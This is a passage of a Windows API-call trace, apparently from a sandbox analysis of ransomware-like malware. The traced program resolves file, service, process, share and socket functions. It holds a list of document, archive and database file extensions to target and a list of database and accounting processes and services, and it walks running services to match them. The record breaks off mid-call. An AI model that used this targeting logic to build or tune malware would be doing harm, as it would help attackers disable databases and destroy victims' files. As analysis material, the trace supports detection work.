[0167.677] GetProcAddress (hModule=0x75080000, lpProcName="ExpandEnvironmentStringsW") returned 0x75094173 [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="QueryPerformanceCounter") returned 0x75091725 [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="QueryPerformanceFrequency") returned 0x750941f0 [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="GetCurrentProcessId") returned 0x750911f8 [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="SetFileAttributesW") returned 0x750ad4f7 [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="GetVolumeInformationW") returned 0x750ac860 [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="WriteFile") returned 0x75091282 [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="SetFilePointerEx") returned 0x750ac807 [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="SetEndOfFile") returned 0x750ace2e [0167.677] GetProcAddress (hModule=0x75080000, lpProcName="FindFirstFileW") returned 0x75094435 [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="GetProcessHeap") returned 0x750914e9 [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="HeapReAlloc") returned 0x77501f6e [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="HeapAlloc") returned 0x774ee026 [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="HeapFree") returned 0x750914c9 [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="CreatePipe") returned 0x7511415b [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="SetHandleInformation") returned 0x750a195c [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="CreateProcessW") returned 0x7509103d [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="CompareStringW") returned 0x75093bca [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="CompareStringA") returned 0x75093c5a [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="OpenProcess") returned 0x75091986 [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="TerminateProcess") returned 0x750ad802 [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="GetSystemTime") returned 0x75095a96 [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="SystemTimeToFileTime") returned 0x75095a7e [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="GetLastError") returned 0x750911c0 [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="CreateToolhelp32Snapshot") returned 0x750b735f [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="Process32NextW") returned 0x750b896c [0167.678] GetProcAddress (hModule=0x75080000, lpProcName="Process32FirstW") returned 0x750b8baf [0167.678] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75eb0000 [0167.704] GetProcAddress (hModule=0x75eb0000, lpProcName="RegOpenKeyExW") returned 0x75ec468d [0167.704] GetProcAddress (hModule=0x75eb0000, lpProcName="RegQueryValueExW") returned 0x75ec46ad [0167.704] GetProcAddress (hModule=0x75eb0000, lpProcName="RegSetValueExW") returned 0x75ec14d6 [0167.704] GetProcAddress (hModule=0x75eb0000, lpProcName="RegCloseKey") returned 0x75ec469d [0167.704] GetProcAddress (hModule=0x75eb0000, lpProcName="OpenProcessToken") returned 0x75ec4304 [0167.704] GetProcAddress (hModule=0x75eb0000, lpProcName="GetTokenInformation") returned 0x75ec431c [0167.704] GetProcAddress (hModule=0x75eb0000, lpProcName="OpenSCManagerW") returned 0x75ebca64 [0167.704] GetProcAddress (hModule=0x75eb0000, lpProcName="OpenServiceW") returned 0x75ebca4c [0167.704] GetProcAddress (hModule=0x75eb0000, lpProcName="CloseServiceHandle") returned 0x75ec369c [0167.704] GetProcAddress (hModule=0x75eb0000, lpProcName="ControlService") returned 0x75ed7144 [0167.705] GetProcAddress (hModule=0x75eb0000, lpProcName="QueryServiceStatus") returned 0x75ec2a86 [0167.705] GetProcAddress (hModule=0x75eb0000, lpProcName="EnumDependentServicesW") returned 0x75eb1e3a [0167.705] GetProcAddress (hModule=0x75eb0000, lpProcName="EnumServicesStatusExW") returned 0x75ebb466 [0167.705] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76fa0000 [0167.733] GetProcAddress (hModule=0x76fa0000, lpProcName="SystemParametersInfoW") returned 0x76fb90d3 [0167.733] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x762c0000 [0167.811] GetProcAddress (hModule=0x762c0000, lpProcName="ShellExecuteExW") returned 0x762e1e46 [0167.811] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x774c0000 [0167.811] GetProcAddress (hModule=0x774c0000, lpProcName="NtQuerySystemInformation") returned 0x774dfda0 [0167.811] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73a00000 [0167.814] GetProcAddress (hModule=0x73a00000, lpProcName="WNetCloseEnum") returned 0x73a02dd6 [0167.814] GetProcAddress (hModule=0x73a00000, lpProcName="WNetOpenEnumW") returned 0x73a02f06 [0167.814] GetProcAddress (hModule=0x73a00000, lpProcName="WNetEnumResourceW") returned 0x73a03058 [0167.814] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75290000 [0167.817] GetProcAddress (hModule=0x75290000, lpProcName="WSAStartup") returned 0x75293ab2 [0167.817] GetProcAddress (hModule=0x75290000, lpProcName="socket") returned 0x75293eb8 [0167.817] GetProcAddress (hModule=0x75290000, lpProcName="send") returned 0x75296f01 [0167.817] GetProcAddress (hModule=0x75290000, lpProcName="recv") returned 0x75296b0e [0167.817] GetProcAddress (hModule=0x75290000, lpProcName="connect") returned 0x75296bdd [0167.817] GetProcAddress (hModule=0x75290000, lpProcName="closesocket") returned 0x75293918 [0167.817] GetProcAddress (hModule=0x75290000, lpProcName="gethostbyname") returned 0x752a7673 [0167.817] GetProcAddress (hModule=0x75290000, lpProcName="inet_addr") returned 0x7529311b [0167.817] GetProcAddress (hModule=0x75290000, lpProcName="ntohl") returned 0x75292d57 [0167.817] GetProcAddress (hModule=0x75290000, lpProcName="htonl") returned 0x75292d57 [0167.817] GetProcAddress (hModule=0x75290000, lpProcName="htons") returned 0x75292d8b [0167.817] GetProcessHeap () returned 0x570000 [0167.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x584470 [0167.818] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=10995513313) returned 1 [0167.818] GetTickCount () returned 0x113aa06 [0167.818] GetCurrentProcessId () returned 0x3d4 [0167.818] GetTickCount () returned 0x113aa06 [0167.818] GetTickCount () returned 0x113aa06 [0167.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x584498 [0167.818] GetVersion () returned 0x1db10106 [0167.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7) returned 0x573a58 [0167.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x580f78 [0167.819] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x580f78, Size=0x20) returned 0x5844e8 [0167.819] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5844e8, Size=0x40) returned 0x584d90 [0167.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x584dd8 [0167.819] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_O60I3LA") returned 0x84 [0167.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x573a58 | out: hHeap=0x570000) returned 1 [0167.819] lstrlenW (lpString="Global\\syncronize_") returned 18 [0167.819] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584d90 | out: hHeap=0x570000) returned 1 [0167.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7) returned 0x573a58 [0167.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x580f78 [0167.819] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x580f78, Size=0x20) returned 0x5844e8 [0167.819] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5844e8, Size=0x40) returned 0x584d90 [0167.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x594de0 [0167.820] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_O60I3LU") returned 0x88 [0167.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x573a58 | out: hHeap=0x570000) returned 1 [0167.820] lstrlenW (lpString="Global\\syncronize_") returned 18 [0167.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584d90 | out: hHeap=0x570000) returned 1 [0167.820] GetVersion () returned 0x1db10106 [0167.820] GetCurrentProcess () returned 0xffffffff [0167.820] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0167.820] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0167.820] CloseHandle (hObject=0x8c) returned 1 [0167.820] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102 [0167.820] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0167.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14) returned 0x573a58 [0167.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x580f78 [0167.820] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x580f78, Size=0x20) returned 0x5844e8 [0167.820] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5844e8, Size=0x40) returned 0x584d90 [0167.820] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584d90, Size=0x80) returned 0x5849d0 [0167.820] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5849d0, Size=0x100) returned 0x5849d0 [0167.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x584d90 [0167.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4) returned 0x580b68 [0167.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4) returned 0x580b78 [0167.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x580b88 [0167.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x580f78 [0167.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4) returned 0x584ad8 [0167.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x580f90 [0167.820] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584ad8, Size=0x8) returned 0x584ad8 [0167.820] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x580fa8 [0167.820] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584ad8, Size=0x10) returned 0x584ad8 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x580fc0 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x580fd8 [0167.821] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584ad8, Size=0x20) returned 0x584ad8 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x580ff0 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x581008 [0167.821] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x580b68, Size=0x8) returned 0x580b68 [0167.821] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x580b78, Size=0x8) returned 0x580b78 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x584b00 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x581020 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4) returned 0x584b10 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x581038 [0167.821] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584b10, Size=0x8) returned 0x584b10 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a4e00 [0167.821] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584b10, Size=0x10) returned 0x584b10 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a4e18 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x584b28 [0167.821] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584b10, Size=0x20) returned 0x584b38 [0167.821] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x580b68, Size=0x10) returned 0x584b10 [0167.821] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x580b78, Size=0x10) returned 0x584b60 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x580b68 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5a4e30 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4) returned 0x580b78 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a4e48 [0167.821] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x580b78, Size=0x8) returned 0x580b78 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x584b78 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5a4e60 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4) returned 0x584b88 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a4e78 [0167.821] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584b88, Size=0x8) returned 0x584b88 [0167.821] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584b10, Size=0x20) returned 0x584b98 [0167.821] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584b60, Size=0x20) returned 0x584bc0 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x584b60 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5a4e90 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4) returned 0x584b10 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa) returned 0x5a4ea8 [0167.821] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584b10, Size=0x8) returned 0x584b10 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14) returned 0x584be8 [0167.821] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14) returned 0x584c08 [0167.822] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0167.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5849d0 | out: hHeap=0x570000) returned 1 [0167.822] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4ec0 [0167.830] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4ec0, Size=0x20) returned 0x5846f0 [0167.830] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5846f0, Size=0x40) returned 0x584c80 [0167.830] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584c80, Size=0x80) returned 0x5849d0 [0167.830] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5849d0, Size=0x100) returned 0x5849d0 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4ec0 [0167.830] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a4ec0, Size=0x20) returned 0x5846f0 [0167.830] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5846f0, Size=0x40) returned 0x584c80 [0167.830] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584c80, Size=0x80) returned 0x5a54a0 [0167.830] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5a54a0, Size=0x100) returned 0x5a54a0 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5a4ec0 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4) returned 0x584c80 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5a4ed8 [0167.830] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584c80, Size=0x8) returned 0x584c80 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14) returned 0x584c90 [0167.830] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584c80, Size=0x10) returned 0x584cb0 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5a55a8 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1a) returned 0x5846f0 [0167.830] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584cb0, Size=0x20) returned 0x5a55c8 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1c) returned 0x584718 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16) returned 0x5a55f0 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1a) returned 0x584740 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc) returned 0x5a4ef0 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4) returned 0x584c80 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a5610 [0167.830] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584c80, Size=0x8) returned 0x584c80 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3c) returned 0x5a5658 [0167.830] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584c80, Size=0x10) returned 0x584cb0 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14) returned 0x5a56a0 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5a56c0 [0167.830] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x584cb0, Size=0x20) returned 0x5a56e0 [0167.830] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x24) returned 0x5a5708 [0167.831] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0167.831] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5849d0 | out: hHeap=0x570000) returned 1 [0167.831] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0167.831] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a54a0 | out: hHeap=0x570000) returned 1 [0167.831] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5a5c88 [0167.834] EnumServicesStatusExW (in: hSCManager=0x5a5c88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0167.834] GetLastError () returned 0xea [0167.834] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e4) returned 0x5a8630 [0167.834] EnumServicesStatusExW (in: hSCManager=0x5a5c88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a8630, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a8630, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0167.835] CloseServiceHandle (hSCObject=0x5a5c88) returned 1 [0167.840] lstrlenW (lpString="Appinfo") returned 7 [0167.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0167.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0167.841] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0167.841] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0167.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0167.841] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0167.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.841] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0167.841] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0167.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0167.841] lstrlenW (lpString="AudioSrv") returned 8 [0167.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0167.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0167.841] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0167.841] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0167.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0167.841] lstrlenW (lpString="BFE") returned 3 [0167.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0167.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0167.841] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0167.841] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0167.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0167.841] lstrlenW (lpString="CryptSvc") returned 8 [0167.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0167.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0167.842] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0167.842] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0167.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0167.842] lstrlenW (lpString="CscService") returned 10 [0167.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0167.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0167.842] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0167.842] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0167.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0167.842] lstrlenW (lpString="DcomLaunch") returned 10 [0167.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.842] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0167.842] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0167.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0167.842] lstrlenW (lpString="Dhcp") returned 4 [0167.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0167.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0167.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0167.842] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0167.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0167.842] lstrlenW (lpString="Dnscache") returned 8 [0167.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0167.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0167.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0167.842] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0167.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0167.843] lstrlenW (lpString="DPS") returned 3 [0167.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0167.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0167.843] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0167.843] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0167.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0167.843] lstrlenW (lpString="eventlog") returned 8 [0167.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0167.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0167.843] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0167.843] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0167.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0167.843] lstrlenW (lpString="EventSystem") returned 11 [0167.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0167.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0167.843] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0167.843] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0167.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0167.843] lstrlenW (lpString="gpsvc") returned 5 [0167.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0167.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0167.843] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0167.843] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0167.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0167.843] lstrlenW (lpString="iphlpsvc") returned 8 [0167.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.843] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0167.843] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0167.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0167.843] lstrlenW (lpString="LanmanServer") returned 12 [0167.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0167.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0167.843] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0167.843] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0167.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0167.844] lstrlenW (lpString="LanmanWorkstation") returned 17 [0167.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.844] lstrcmpiW (lpString1="sqlwriter", 